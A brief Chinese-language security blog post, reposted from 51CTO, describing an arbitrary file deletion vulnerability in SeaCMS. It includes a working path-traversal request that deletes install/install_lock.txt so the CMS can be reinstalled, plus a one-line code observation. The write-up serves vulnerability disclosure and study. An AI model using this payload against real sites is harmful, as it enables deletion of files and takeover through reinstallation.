seacms 任意文件删除

发布时间:2020-08-10 08:58:09 来源:51CTO 阅读:6465 作者:wx5b0b88843cb2a 栏目:安全技术

seacms 任意文件删除

?action=del&filedir=../templets/../install/install_lock.txt

可以控制filedir参数进行任意文件删除

删除 install/install_lock.txt文件,然后可以重装seacms

seacms 任意文件删除

分析代码:

filedir参数必须以../template开头

seacms 任意文件删除

郑重声明:本文版权归原作者所有,转载文章仅为传播更多信息之目的,如作者信息标记有误,请第一时间联系我们修改或删除,多谢。